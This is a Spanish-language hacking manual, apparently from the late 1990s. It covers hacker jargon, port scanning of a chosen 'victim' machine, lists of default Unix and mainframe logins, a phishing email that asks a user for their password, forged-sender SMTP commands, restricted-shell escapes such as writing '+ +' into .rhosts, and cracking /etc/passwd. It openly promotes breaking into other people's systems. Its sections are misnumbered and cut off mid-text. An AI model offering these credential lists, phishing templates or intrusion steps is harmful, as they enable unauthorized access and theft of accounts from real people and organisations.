0.- GLOSARIO

Este glosario esta por orden alfabetico: 

ADMINISTRADOR, sysop, root :Esla persona que se encarga

del sistema. Se suele denominar rOOt y es la persona que

tiene el poder absoluto sobre la maquina. Tiene un UID=0.

AGUJERO, bug, hole : Es und efecto en el software o

hardware que como su nombre indica deja agujeros para los

hackers y que gracias a dios existen muchos ya que si no

esto seria de locos jeje 

AIX: Sistema operativo de IBM 

BUGS y EXPLOITS: Los bugs son fallos en el software o en

el hardware y que usan los hackers para entrar en

sistemas y un exploit es un programa que aprovecha el

agujero dejado por el bug. Ver AGUJERO. 

BOMBA LOGICA: Codigo que ejecuta una particular manera de

ataque cuando una determinada condicion se produce. Por

ejemplo una bomba logica puede formatear el disco duro un

dia determinado, pero a diferencia de un virus.. la bomba

logica no se replica. 

BACKDOOR :Puerta trasera. Mecanismo que tiene o que se

debe crear en un software para acceder de manera indebida

(jeje) 

BBS (Bulletin Board System): Es una maquina a la que se

accede a traves de la linea telefonica y donde se dejan

mensajes y software. La putada es que si la bbs no esta

en tu ciudad.. timofonica se hace millonaria a tu costa.

:o( 

BOXING: Uso de aparatos electronicos o electricos (Boxes)

para hacer phreaking. Esto no es hacking sino

phreaking... hay blue box, red box, etc. 

BOUNCER: Tecnica que consiste en usar una maquina de

puente y que consigue que telneteando al puerto xxxx de

la maquina “bouncerada” te redireccione la salida a un

puerto determinado de otra maquina. Esta tecnica es muy

usada en el irc redireccionando a los puertos destinados

a los servidores de irc por anonimicidad y otros temas

que no vienen al caso. 

CABALLOS DE TROYA :Programa que se queda residente en un

sistema y que ha sido desarrollado para obtener algun

tipo de informacion. Por ejemplo seria un caballo de

troya un programa que al ejecutarlo envie el fichero de

/etc/passwd a una determinada IP (Casualmente la nuestra

;o) 

CORTAFUEGOS: Ver firewall 

COPS: Programa de seguridad. 

CERT (Computer Emergency Response Team): Bien, como su

nombre indica es una gente que se dedica de trabajar en

seguridad pero que en su esfuerzo por informar de bugs

nuevos, casi nos ayudan mas a nosotros que a ellos :o> 

CLOACKER: Programa que borra los logs (huellas) en un

sistema. Tambien llamados zappers. 

CRACKER : Esta palabra tiene dos acepciones, por un lado

se denomina CRACKER a un HACKER que entra a un sistema

con fines malvados aunque normalmente la palabra CRACKER

se usa para denominara a la gente que desprotege

programas, los modifica para obtener determinados

privilegios, etc. 

CRACKEADOR DE PASSWORDS:Programa utilizado para sacar los

password encriptados de los archivos de passwords. Esto

se desarrollara mas adelante en este texto 

DAEMON: Proceso en background en los sistemas Unix, es

decir un proceso que esta ejecutandose en segundo plano. 

EXPLOIT Metodo concreto de usar un bug para entrar en un

sistema. 

FIREWALL, cortafuego: Sistema avanzado de seguridad que

impide a personas no acreditadas el acceso al sistema

mediante el filtrado de los paquetes dependiendo de la IP

de origen, en otras palabras, una putada :o(. En la

actualidad esta considerado como uno de los medios de

seguridad mas fiables y hay poca documentacion al

respecto de como hackearlos. 

FUERZA BRUTA (hackear por...) Es el procedimiento que

usan tanto los crackeadores de password de UNIX como los

de NT (o por lo menos los que yo conozco) que se basan en

aprovechar diccionarios para comparar con los passwords

del sistema para obtenerlos. Esto se desarrolla mas

adelante en este texto. 

FAKE MAIL: Enviar correo falseando el remitente. Es muy

util en ingenieria social. 

GRAN HERMANO: Cuando la gente se refiere al Gran Hermano,

se refiere a todo organismo legal de lucha contra el

mundo underground. 

GUSANO: Termino famoso a partir de Robert Morris,

Jr.Gusanos son programas que se reproducen ellos mismos

copiandose una y otra vez de sistema a sistema y que usa

recursos de los sistemas atacados. 

HACKING :Amplia definicion al principio del glosario. 

HACKER :Amplia definicion al principio del glosario. 

HOLE: Ver bug. 

HP/UX: Sistema operativo de HP. 

INGENIERIA SOCIAL :Obtencion de informacion por medios

ajenos a la informatica. Sobre esto nos extenderemos mas

adelante en este texto. 

IRIX: Sistema operativo. 

ISP (Internet Services Provider): Proveedor de servicios

internet. 

KEY: Llave. Se puede traducir por clave de acceso a un

software o sistema. 

KERBEROS: Sistema de seguridad en el que los login y los

passwords van encriptados. 

KEVIN MITNICK: Es el hacker por excelencia!!!. Sus

hazañas se pueden encontrar en mil sitios en la red. 

LAMER: Un lamer es una persona que no tiene ninguna

inquietud por todos estos temas de la seguridad sino que

lo unico que quiere es tener un login y un pass para

entrar a un sistema y formatear el disco duro, o para

decirle a un amigo que es un superhacker.. o el tipico

que te llega en el IRC y te dice.. he suspendido un

examen y quiero entrar al ordenador de mi escuela para

cambiar las notas. Esto os prometo que me ha pasado mas

de una vez :o( 

Importante es distinguir lamer de newbie o novato. Un

novato o newbie es una persona que SI que tiene interes

en estos temas pero que logicamente necesita un tiempo de

aprendizaje ya que nadie ha nacido aprendico. 

LINUX: Sistema operativo de la familia UNIX y que es muy

adecuado para tenerlo en la maquina de casa ya que no

requiere demasiados recursos. Este sistema operativo lo

debes tener en tu casa si quieres hacer algo en el mundo

del hacking aunque ya se comentara mas adelante. 

LOGIN : Para entrar en un sistema por telnet se necesita

siempre un login (nombre) y un password (clave). 

MAQUINA: En este texto, habitualmente se utilizara el

termino maquina para referirse al ordenador. Mejor no

entrar en filosofias :-> 

MAIL BOMBER: Es una tecnica de puteo que consiste en el

envio masivo de mails a una direccion (para lo que hay

programas destinados al efecto) con la consiguiente

problematica asociada para la victima. Solo aconsejo su

uso en situaciones criticas. 

NUKEAR: Consiste en joder a gente debido a bugs del

sistema operativo o de los protocolos. Esto se da

habitualmente en el IRC y considero que es una perdida de

tiempo... pero hay mucha gente que su cabecita no da para

mas y se entretiene con estas pijadas. ¿Sera porque no

son capaces de enfrentarse a cosas mas serias??  :-> 

PASSWORD :Contraseña asociada a un login. Tambien se

llama asi al famoso fichero de UNIX /etc/passwd que

contiene los passwords del sistema que se comentaran mas

adelante en este texto. 

PHREAKING: Consiste en evitar total o parcialmente el

pago a las grandes multinacionales. Este concepto se usa

basicamente para referirse al pago del telefono ya que

tal y como esta Timofonica apetece. En general, es

complicado conseguirlo en España, pero hay que

intentarlo. :->> 

PIRATA:Persona dedicada a la copia y distribucion de

software ilegal, tando software comercial crackeado, como

shareware registrado, etc...No hay que confundir en

absoluto este termino con el de hacker ya que tal como se

ve en las definiciones no tiene nada que ver. 

PPP: Point-to-point protocol... RFC 1661. 

PASSWORD CRACKER: Ver CRACKEADOR DE PASSWORD. 

PGP: Pretty Good Privacy. Necesario cuando os paseis

mails “calentitos”. Es un programa de encriptacion de

llave publica. 

PHRACK: zine sobre hack muy famosa. 

PUERTO-PORT: Se define mas adelante en este texto. 

PORT SCANNER: Programa que te indica que puertos de una

maquina estan abiertos. Mas adelante en este texto se

explican estos conceptos mas detenidamente. 

ROOT,administrador, sysop: Persona que tiene control

total sobre el sistema y cuyo UID es 0. 

ROUTER: Maquina de la red que se encarga de encauzar el

flujo de paquetes. 

SNIFFER: Es un programa que monitoriza los paquetes de

datos que circulan por una red. Mas claramente, todo lo

que circula por la red va en 'paquetes de datos' que el

sniffer chequea en busca de informacion referente unas

cadenas prefijadas por el que ha instalado el programa. 

SHELL: Este concepto puede dar lugar a confusion ya que

una shell en un sistema unix es un programa que

interactua entre el kernel y el usuario mientras que en

nuestros ambientes significa el conjunto de login y

password.... es decir que si alguien dice que cambia

shells ya sabeis a lo que se refiere no? :) 

SUNOS: Sistema operativo de Sun. 

SOLARIS: Sistema operativo de Sun. 

SYSOP: Ver rOOt. 

TCP/IP: Arquitectura de red con un conjunto de

protocolos. Es la que se suele usar en Internet.. para

mas info sobre el tema cualquier libro de TCP IP es

valido.. 

TONELOC: Posiblemente el mejor war dealer (como la

cerveza) jeje 

TRACEAR :Seguir la pista a traves de la red a una

informacion o de una persona. 

UDP: Protocolo de comunicacion que a diferencia del TCP

no es orientado a conexion. 

UNIX: Familia de sistemas operativos que engloba a SunOS,

Solaris, irix, etc.. 

VMS: Sistema operativo. 

VIRUS: Es un programa que se reproduce a si mismo y que

muy posiblemente ataca a otros programas. Crea copias de

si mismo y suele dañar o joder datos, cambiarlos o

disminuir la capacidad de tu sistema disminuyendo la

memoria util o el espacio libre. 

WAR DIALER: Estos son programas (tambien se podria hacer

a mano, pero es muy pesado) que realizan llamadas

telefonicas en busca de modems. Sirve para buscar

maquinas sin hacerlo a traves de internet. Estas maquinas

suelen ser muy interesantes ya que no reciben tantos

ataques y a veces hay suerte y no estan tan cerradas. ;o)

WORM: Ver gusano. 

WINDOWS : Sistema operativo?? ;-) .. tambien llamado

ventanukos. 

ZAP: Zap es un programa que se usa para borrar las

huellas en un sistema. Debido a lo famoso que se ha hecho

muchos programas que desarrollan estas funciones se les

llama zappers aunque precisamente este no es el mejor ;o)

ZINE: Revista electronica 

Buscando maquina objetivo y

algunas cosas sobre unix

orientado al hacking 

Lo primero que se ha de hacer, como es logico es

determinar la maquina objetivo. Esta decision se puede

hacer en base a distintos criterios como pueda ser que es

una maquina especialmente interesante para ti o que es

una maquina que sabes o te han dicho que el rOOt no es un

lumbreras. Bien, sea como fuere, suponemos que se ha

determinado la maquina objetivo. 

Tras esto, se ha de recopilar la mayor informacion sobre

esa maquina. Lo mejor es empezar haciendo un escaneo de

puertos a la maquina, esto consiste en ir haciendo

telnet’s a todos los puertos de la maquina ( normales

1-6000) para ver que programas contestan en cada puerto y

su version, o si el puerto esta cerrado. Por ejemplo: con

un telnet normal (puerto 23) determinaremos el sistema

operativo, con un telnet 79 (finger) para obtener

informacion, entrar por el netstat (puerto 15 ) si lo

tiene abierto (poco usual), mirar si tiene pagina web y

que demonio de http usa (puerto 80), mirar la version del

sendmail (puerto 25), ver si esta el systat abierto, ver

si tiene ftp anonimo en el 21, ver si ofrece nfs o nis,

etc. Para esto se necesita un escaneador de puertos de

los que hay muchisimos en la red ( strobe, portscan,

nmap, etc.) 

Ademas, en caso de que quieras hackear

victima1.microsoft.com, en caso de que veas que no puedes

hacer nada en esta maquina victima1, te puedes plantear

hackear otra del dominio microsoft.com, ya que si

consigues root y colocas un sniffer en

victima2.microsoft.com ( o quiza con un poco de suerte

con el hosts.equiv o el .rhosts) seguramente podras

conseguir cuentas en victima1.microsoft.com.

Posiblemente, esto no lo entiendas ahora, pero tras leer

todo el texto y tener un poco mas claro lo que es un

sniffer, como pillar root y demas, posiblemente le

encontraras mas sentido a este parrafo :o) 

Nota para los que vayan un poco verdes en Unix: 

El fichero hosts.equiv es un fichero que hay en los

sistemas unix que indica que maquinas pueden ejecutar

comandos remotos en esta maquina sin pedir ni login ni

password, es decir, indica las maquinas que son

confiables. 

Igualmente, el fichero .rhosts es un fichero que hay en

el HOME de cada usuario que indica las maquinas a las que

permite ejecutar un comando remoto sin pedir password. 

Ademas, os recuerdo que con el comando host puedes

obtener una lista de maquinas pertenecientes a un dominio

dado y que el comando traceroute muchas veces puede

ayudar ( recuerdo que el traceroute muestra el recorrido

que hacen los paquetes hasta llegar a la maquina

destino). 

Para todos aquellos que no tienen muy claro lo que son

los puertos, TCP, UDP, IP y demas cosas similares pueden

ver el TCP IP Illustrated tomo 1 de Stevens o el famoso

NETWORKING with TCPIP que ademas creo que tiene el primer

tomo traducido al castellano. 

A continuacion se listan los mas interesantes en

principio para las aplicaciones que nos interesan (en los

puertos que no ponga nada, se refieren a tcp y los que se

refieran a udp se indicara): 

Numero            Servicio          Lo que hace 

de Puerto 

9                      discard           

Dev/null--Basura 

11                   systat              Informacion

sobre los usuarios 

13                                           La hora y

fecha de maquina remota 

15                   netstat            Mucha informacion

sobre la red 

17/tcp             qotd                Quote of the Day 

19                   chargen            Generador de

caracteres 

21                   ftp                   

Transferenciadeficheros 

22/tcp             ssh                  SSH Remote Login

Protocol 

23                   telnet               Loginypass 

25                   smpt               Para crear email.

37                   time                La           

hora. 

38/tcp             rap                 

RouteAccessProtocol 

39                   rlp                    Localizacion

del recurso 

42/tcp             name server            HostName Server

43                   whois              Informacion sobre

la red objetivo 

49/tcp             tacacs                       

LoginHostProtocol(TACACS) 

50/tcp             re-mail-ck           

RemoteMailCheckingProtocol 

53                   domain            Nombre de la

maquina remota 

63/tcp             whois++            whois++ 

69/tcp             tftp                  

TrivialFileTransfer 

70                   gopher            Buscador de

informacion con bugs ;o) 

79                   finger              Mucha

informacion sobre los usuarios 

80                   http                  ServidorWeb 

88/tcp             kerberos            Kerberos 

107                 rtelnet             Telnet remoto 

109/tcp            pop2              

PostOfficeProtocol-Version2 

110                 pop3               Email entrante

Version3 

111/tcp            sunrpc            SUN Remote Procedure

Call 

113/tcp            auth                 Authentication

Service 

115/tcp            sftp                  Simple File

Transfer Protocol 

117/tcp            uucp-path    UUCP Path Service 

119                 nntp                 Grupos de

noticias Usenet 

133/tcp            statsrv             Statistics Service

136/tcp            profile             PROFILE Naming

System 

137/tcp       

     netbios-ns           

NETBIOSNameService 

137/udp            netbios-ns           

NETBIOSNameService 

138/tcp            netbios-dgm           

NETBIOSDatagramService 

138/udp            netbios-dgm           

NETBIOSDatagramService 

139/tcp            netbios-ssn           

NETBIOSSessionService 

139/udp            netbios-ssn           

NETBIOSSessionService 

143/tcp            imap              

InternetMessageAccessProtocol (xploit remoto jeje) 

144/tcp            news               NewS 

161/tcp            snmp              SNMP 

194/tcp            irc                   

InternetRelayChatProtocol 

213/tcp            ipx                   IPX 

220/tcp            imap3            

InteractiveMailAccessProtocolv3 

443                 shttp                Otro servidor

web teoricamente seguro 

512/udp            biff                   ndica a los

usuarios que han recibido mail 

513/tcp            rlogin              remote login 

513/udp            who                 who remoto y da

info sobre la carga de la maquina 

514/tcp            shell                Shell remota 

514/udp            syslog 

515/tcp            printer             spooler 

520                 route               Protocolo de

informacion routing 

529/tcp            irc-serv     IRC-SERV 

Puedes obtener muchas listas de puertos en Internet por

lo que os he puesto una lista resumida aunque en realidad

con la practica te sueles remitir a un numero mas

reducido de puertos pero eso que lo vea cada uno kon la

experiencia. 

Tras saber que conocimientos se deben adquirir, ahora os

comento los programas que se deben tener para poder hacer

cositas. 

Bien, lo primero que comentaria es que es mas comodo

hackear con unix/linux que con el ventanukos ya que

aunque es mas complejo, ofrece muchas mas posibilidades

ya que el mismo sistema operativo te ofrece algunas

ventajas que no ofrece el windows. No voy a entrar a

comentar estas diferencias pero si usas unix, basicamente

solo has de pillarte un escaneador de puertos y poco mas.

Se ha de recordar que lleva incorporado el compilador de

c, perl, la mayoria de los programas de seguridad (satan,

cops, iss...) estan disponibles para unix asi como los

programas para hackear, y muchas mas kosas que ya iremos

descubriendo como el tiempo. Ademas unix te permite

comandos interesantes como el host, rpcinfo, los comandos

remotos, etc. 

Ademas, tal y como se ha comentado o comentara a lo largo

del texto, la informacion y estar actualizado en bugs y

exploits es una de las cosas mas importantes en este

mundillo por lo que un consejo es que habitualmente

ojeeis las paginas de hack para pillar los ultimos bugs y

xploits asi como las listas de correo habilitadas para el

respecto (bugtraq, firewall ,etc). Tened en cuenta que la

eficacia de un xploit es inversamente proporcional al

tiempo que hace que salio asi que no espereis entrar en

muchas maquinas con bugs de los años 80, entendeis la

idea no?.

2.- INTRODUCCION A

DISTINTOS SISTEMAS 

En este texto se va a hablar de hackear maquinas Unix

pero hay que recordar que aparte del Unix tambien existen

otros sistemas operativos para mainframes y

miniordenadores como el VMS para ordenadores VAX (de la

marca DEC, Digital Equipment Corporation), el VM/CMS,

VM/ESA, etc para ordenadores IBM, y otros sistemas

operativos de menor profileracion. 

Dentro de los UNIX se puede hacer diferencias: 

SO                  Vendedor                 

Procesador              Proviene del 

IRIX                 Silicon Graphics            MIPS

Rxx00             System V 

ULTRIX            Digital (viejo)             MIPS

R2/3000            BSD 

Digital UNIX            Digital (nuevo)          

                                    System V (?) 

AIX                  IBM    

            BSD 

HP-UX            Hewlett Packard            PA-RISC  

            System V 

SCO UNIX            SCO                           Intel

x86 

FreeBSD            (independiente)            Intel

x86                  BSD 

Linux               (independiente)            Intel

x86                  BSD 

SunOS            Sun (viejo)             Sparc

                        BSD 

Solaris            Sun (nuevo)                      

Sparc / x86                System V 

UNICOS            Cray 

OSF/1                       

DEC                           Alpha 

ConvexOS            Convex 

Para entrar en un sistema, lo primero que has de saber es

como funciona ya que si no, no podras manejarte en el.

Por esto es importante conocer UNIX/LINUX ya que

basicamente, conociendo este sistema operativo podras

moverte por el resto de sistemas unix aunque de vez en

cuando te encuentras de cada cosa por ahi que da miedo. A

continuacion se describen algunos sistemas y en algunos

se indica la pinta que tienen para poder identificarlos

al hacerles un telnet ( Nota: esta info la he pillado de

la red y creo que es un poco vieja pero la pongo porque

opino que puede servir de algo): 

VMS  -  La computadora VAX es creada por Digital

Equipment Corporation (DEC) y corre el sistema operativo

VMS (virtual memory system). VMS se caracteriza por su

prompt 'Username:'. Este sistema no te dira si has

entrado un login correcto o no y te desconectara despues

de tres malos intentos. Tambien mantiene un record de

todos los logins que fallaron e informa al due¤o de la

cuenta la proxima vez que entre cuantos intentos fallados

se hicieron. Es uno de los sistemas mas seguros desde

fuera pero ya dentro tiene varios errores en la

seguridad. Las VAX ademas tienen uno de los mejores

archivos de ayuda de entre los demas sistemas, para

accesar a esta ayuda solo escribe HELP en el prompt. 

VM/CMS  -  Este sistema es ejecutado en las super

computadoras de IBM (International Business Machines)

llamadas mainframes. Una vez conectado a una de estas

computadoras te mostrara un mensaje asi "VM/370 ONLINE",

y te dara un prompt "." justo como la TOPS-10 lo hace.

Para entrar debes ejecutar: LOGON <usuario> 

DEC-10  - Operan el sistema operativo TOPS-10. Este tipo

de maquinas se reconocen por el prompt "." Las series

DEC-10/20 son amables con los hackers permitiendo varios

intentos en el login prompt sin guardar un log de los

intentos fallados. Las cuentas estan en forma [xxx,yyy].

Lo mejor de este sistema es la posibilidad de obtener

informacion sobre las personas en linea antes de entrar a

el usando el comando systat. Si ves una cuenta que lea

[234,1001] BOB JONES, seria inteligente probar como

password BOB, JONES, BOBBY, etc. Para entrar al sistema

se usa el comando: 

login xxx,yyy [enter] 

password: 

Este sistema como antes lo habia dicho, permite intentos

sin limite y ademas te avisa si el login que estas usando

existe. 

PRIME  -  Esta computadora opera con el sistema

operativo Primos. Son faciles de detectar ya que lo

reciben a uno con el mensaje "Primecon xx.xx.xx" o algo

parecido dependiendo de la version que te encuentres.

Usualmente no ofrecen ningun prompt asi que debes

escribir "login <usuario>". Si la version es anterior a

la 18.00.00 puedes presionar un monton de caracteres de

escape o CTRL-C y entraras. Este sistema ofrece la

capacidad de conectarte a los NUAS de todo el mundo con

el comando NETLINK...sintax: nc <nua> 

Al hacer un telnet muestra un aspecto del tipo: 

PRIMENET 19.2.7F PPOA1 

<any text> 

ER! 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 

CONNECT 

Primenet V 2.3  (system) 

LOGIN           (you) 

User id?        (system) 

SAPB5           (you) 

Password?       (system) 

DROWSAP         (you) 

OK,             (system) 

DECSERVER  -  Las DECs son una serie de computadoras

conectadas entre si para formar una sola unidad de

procesamiento, la funcionalidad de estos sistemas es

altamente utilizado por los hackers para quebrar

passwords de cuentas unix por la rapidez del sistema. El

prompt usualmente sera: "Enter Username>" aunque yo he

visto otros prompts en estos sistemas. 

El nombre de usuario puede ser cualquier cosa, lo mejor

sera presionar algo nada sospechoso como `c' o algun

numero. De ahi te presentara con el prompt `local>'. De

ahi debes ejecutar `c <sistema>' para conectarte. Para

obtener una lista de sistemas conectados ejecuta `sh'

`services' o `sh nodes'. En algunos sistemas DEC'S

existen comandos como MODEM o DIAL que permiten hacer uso

de un modem para llamadas externas que te permitiran

marcar a BBS internacionales a expensas de la compa¤ia

que opera el DEC. 

Al hacer un telnet a este sistema sale algo del tipo: 

DECserver 700-08 Communications Server V1.1 (BL44G-11A) -

LAT V5.1 

DPS502-DS700 

(c) Copyright 1992, Digital Equipment Corporation - All

Rights Reserved 

Please type HELP if you need assistance 

Enter username> TNO 

Local> 

AIX 

IBM AIX Version 3 for RISC System/6000 

(C) Copyrights by IBM and by others 1982, 1990. 

login: 

Lo reconoceras porque es el unico sistema Unix que borra

la pantalla y sale el login cerca del final de la

pantalla. 

CISCO Router 

                             FIRST BANK OF TNO 

                           95-866 TNO VirtualBank 

                          REMOTE Router -  TN043R1 

                                Console Port 

                                SN - 00000866 

TN043R1> 

Toda la info anterior expuesta anteriormente sobre los

distintos sistemas, la he cogido basicamente de la red y

la mayoria no la he comprobado por lo que es facil que

haya errores por lo que os agradeceria que me contaseis

todos los bugs que encontreis en esta parte del texto

sobre distintos sistemas. 

Igualmente, estoy interesado en toda la info que me pueda

mandar la gente sobre la identificacion de los distintos

sistemas operativos y los comandos y diferencias basicas

entre los sistemas operativos. Como siempre, mi mail esta

abierto para este tipo de info ;--)

3.- CONSEGUIR UNA CUENTA 

Una cuenta puede ser el primer paso para poder entrar en

un sistema (aunque hay bugs que te dan directamente una

cuenta e incluso la de rOOt, pero eso es caso aparte) por

lo que en este capitulo se vera como conseguir una

cuenta. 

Hay muchiiiiisimos metodos para conseguir una cuenta pero

aqui se van a contar los siguientes: 

1.- Cuentas por defecto 

2.- Ingenieria social 

3.- Conseguir fichero passwd de manera remota con algun

bug 

4.- Conseguir directamente una cuenta con un bug 

5.- PHF 

6.- Xploits que te dan una shell remota 

7.- Otros metodos

4.1.- Cuentas por defecto 

Este es un metodo de locos y solo lo has de usar si vas

muy perdido o si estas muy desesperado ya que raras veces

funcionan. Sinceramente, yo no las he comprobado ya que

nunca uso este metodo por lo que agradeceria vuestras

rectificaciones para posteriores ediciones del texto.

Incluso hay sistemas operativos muy raros que no se si

seran viejos pero yo las incluyo todos por si a alguien

les sirven de algo. En posteriores ediciones ya se hara

un filtrado :o) 

Aqui estan para varios sistemas: 

Cuentas defaults en general: 

adm 

admin 

ann 

anon 

anonymous/anonymous 

backup 

batch 

bin 

checkfsys 

daemon 

demo 

diag 

field 

ftp 

games 

guest/guest 

guest/anonymous 

help 

install 

listen 

lp 

lpadmin 

maint 

makefsys 

mountfsys 

network 

news 

nobody 

nuucp 

nuucpa 

operator 

powerdown 

printer 

pub 

public 

reboot 

rje 

rlogin 

root 

sa 

setup 

shutdown 

startup 

sync 

sys/sys 

sysadm 

sysadmin 

sysbin/sysbin   sysbin/bin 

sysman 

system 

tech 

test 

trouble 

tty 

umountfsys 

user/user   user1/user1 

uucp 

uucpa 

visitor 

root/root 

root/system 

sys/sys 

sys/system 

daemon/daemon 

uucp/uucp 

tty/tty 

test/test 

unix/unix 

unix/test 

bin/bin 

adm/adm 

adm/admin 

admin/adm 

admin/admin 

sysman/sysman 

sysman/sys 

sysman/system 

sysadmin/sysadmin 

sysadmin/sys 

sysadmin/system 

sysadmin/admin 

sysadmin/adm 

who/who 

learn/learn 

uuhost/uuhost 

guest/guest 

host/host 

nuucp/nuucp 

rje/rje 

games/games 

games/player 

sysop/sysop 

root/sysop 

demo/demo 

decnet/ddennet 

guest/friend 

field/service 

guest/welcome 

system/manager 

default/user 

decnet/nonpriv 

field/digital 

field/test 

postmaster/mail 

sysmaint/service 

sysmaint/digital 

system/operator 

system/manager 

system/syslib 

system/uetp 

systest_clig/systest 

userp/user 

sysadmin/admin 

daemon/daemon 

sysbin/sysbin 

AIX 

guest           guest 

DECserver 

Access 

System 

VMS 

autolog1/autolog o autolog1 

cms/cms 

cmsbatch/cms o cmsbatch 

erep/erep 

maint/maint o maintain 

operatns/operatns o operator 

operator/operator 

rscs/rscs 

smart/smart 

sna/sna 

vmtest/vmtest 

vmutil/vmutil 

vtam/vtam 

field/service 

systest/utep 

systest_clig/systest 

systest_clig/uetp 

PRIME 

Prime/prime 

Prime/primos 

Primos/primos 

Primos/prime 

primos_cs/prime 

primos_cs/primos 

primenet/primenet 

system/system 

system/prime 

system/primos 

netlink/netlink 

test/test 

guest/guest 

guest1/guest 

DEC10 

1,2:        SYSLIB or OPERATOR or MANAGER 

2,7:        MAINTAIN 

5,30:       GAMES 

SGI Irix 

4DGifts 

guest 

demos 

lp 

nuucp 

tour 

tutor 

accounting 

boss 

demo 

manager 

pdp8 

pdp11 

software 

4.2.- INGENIERIA SOCIAL 

Bien, este no es un metodo de hack en el sentido que

todos pensais... no tiene nada que ver con informatica ni

con ordenadores ni tcp/ip ni unix ni nada de eso sino que

simplemente consiste en ser un poco picaro ;o). 

La ingenieria social se basa en que hay mucha gente por

ahi que tiene una cuenta (tanto de un proveedor de

internet como una shell) y que no esta muy alerta jeje.

En fin, como os comento hay varios metodos para obtener

cuentas usando ingenieria social, aqui simplemente cuento

algunos para que os hagais una idea pero cada uno que

piense y su imaginacion le dara algunos truquillos mas. 

En fin, el metodo e-mail es el mas importante por el que

sera el que mas desarrollaremos en este texto aunque

tambien se podria hacer por telefono. La idea es

sencilla.. enviar un mail (anonimo) a alguien para que te

de el login y el password. Parece dificil que traguen,

no?.. pues os puedo asegurar que no lo es. }-) 

Simplemente envia un mail de este estilo: 

Estimado señor Lopez:  (Importante conocer la identidad

de la persona para darle mas confianza) 

El objeto de este correo electronico es comunicarle que

debido a mantener la seguridad de nuestro sistema

victima.com, se requiere que envie un mail con sus datos

personales y su login y su password ya que en nuestro

sistema es muy importante la seguridad y deseamos

mantenerla con estos chequeos rutinarios. 

Agradeciendo su atencion se despide 

Pepito Rodriguez   pepito@victima.com 

Administrador del sistema victima.com 

Para enviar un mail para falsear el remitente, lo que se

debe hacer es hacer un telnet a una maquina unix que

tenga el puerto 25 abierto y dar los siguientes pasos: 

Lo primero que se ha de hacer es un telnet

maquinacon25.com 25, cuando te diga que ya estas

conectado, has de hacer: 

helo ingenieria@social.com >pleased to meet

ingenieria@social.com 

Tras esto has de decir quien quieres que aparezca como

remitente con el comando mail from: 

mail from: ingenieria@social.com 

         > ingenieria@social.com... Sender is valid. 

Si sale esto, todo va bien.. por lo que tendras que

indicar quien es el destinatario usando el comando rcpt 

rcpt to: bill@gates.com 

         > "bill@gates.com"... Recipient okay 

Tras esto, lo que se ha de hacer es indicar el mensaje en

si con el comando data y cuando quieras acabar pones un .

en una linea.. algo asi: 

         data 

         > Enter mail, end with "." on a line by itself 

Hola Bill 

5.- SALIR DE SHELL

RESTRINGIDA 

La idea es que una vez que tenemos una cuenta shell en un

sitio y la shell esta muy restringida y no podemos hacer

nada ( hay veces que ni siquiera te deja cambiar de

directorio, ni ejecutar el gcc ni nada) hemos de buscar

alguna manera de tener una cuenta un poco mas decente. 

Algunas veces, la solucion es probar con el login y el

password de la shell pero entrando por otros puertos como

el ftp, rlogin, etc. y gracias a dios algunas veces se

obtienen cuentas con mejores prestaciones que la

anterior. Puedes escribir un + + en el fichero .rhosts y

hacer un rlogin, etc...otras veces, entrando por el ftp

podemos sobreescribir algun fichero que sea el que nos

esta activando las restricciones... queda bastante claro

no? :) 

Asi ya podemos intentar pillar el fichero de passwd o

ejecutar algun xploit para pillar otras cuentas o el

rOOt. 

Otro metodo que a veces funciona, dependiendo de como se

ha hecho esa shell restringida (si esta bastante mal

hecha) es el rulando un programa que interactua con el

shell como por ejemplo el vi: 

:set shell=/bin/sh 

y luego.. 

:shell 

Otro sistema ke puede funcionar, si tienes una cuenta

para mail es tocar el .pinerc... es decir, bajarlo por

ftp, tocarlo en tu maquina y volverlo a subir. 

Si la cuenta no es muy restringida y deja correr el gcc,

se puede compilar algun programa en c que te deje acceder

al fichero de passwd aunque no tengas acceso a ese

directorio. En la seccion de passwd y como cogerlos hay

programas de este tipo. 

En fin, son metodos un poco cutres pero a veces

funcionan. Ademas, en general lo que se ha de hacer es

examinar las variables de entorno que tenemos en la shell

y pensar si de alguna manera podemos inhabilitar las

restricciones aunque para esto se necesita tener un poco

claro el unix.

6.- CRACKEAR PASSWORDS EN

MAQUINAS UNIX 

Suponiendo que con alguna de las tecnicas expuestas en el

apartado anterior, hemos conseguido el famoso fichero

/etc/passwd, ahora hay que obtener los passwd

desencriptados. 

6.1.- Introduccion y algoritmo de cifrado. 

En los sistemas Unix, los logins y los passwords suelen

estar en el fichero /etc/passwd ( a no ser que esten

shadow ). 

En estos ficheros, el login es visible y el password esta

encriptado por lo que tienen una forma como la que se

muestra a continuacion: 

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh 

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh 

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh 

daemon:*:1:1:daemons:/:/dev/null 

bin:*:2:2:System Tools Owner:/bin:/dev/null 

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh 

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh 

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh 

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh 

nuucp::10:10:Remote UUCP

User:/var/spool/uucppublic:/usr/lib/uucp/uucico 

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh 

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh 

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest

Account:/usr/people/guest:/bin/csh 

4Dgifts::999:998:4Dgifts

Account:/usr/people/4Dgifts:/bin/csh 

will:5fg63fhD3d5gh:9406:12:Will

Spencer:/home/fsg/will:/bin/bash 

Donde cada campo viene separado por : y en los que el

significado de cada campo es: 

Login: will 

Password encriptado: 5fg63fhD3d5gh 

Numero de identificacion del usuario (UID): 9406 

Numero de identificacion del grupo al que pertenece

(GID): 12 

Nombre real: Will Spencer 

Directorio Home: /home/fsg/will 

Tipo de shell: /bin/bash 

En algunas lineas, el campo password es "*". Este

password encriptado es invalido, o sea, no se corresponde

con ningun password; por tanto, las cuentas que tienen

alguna "*" en el campo password son cuentas a las que no

se podra entrar y que son usadas por el sistema

operativo. 

Si en el fichero de pass en el lugar del password aparece

:: quiere decir que esa cuenta no tiene password, por lo

que al introducir el login entras directamente. 

Respecto a la cadena de uid ( user identification) el "0"

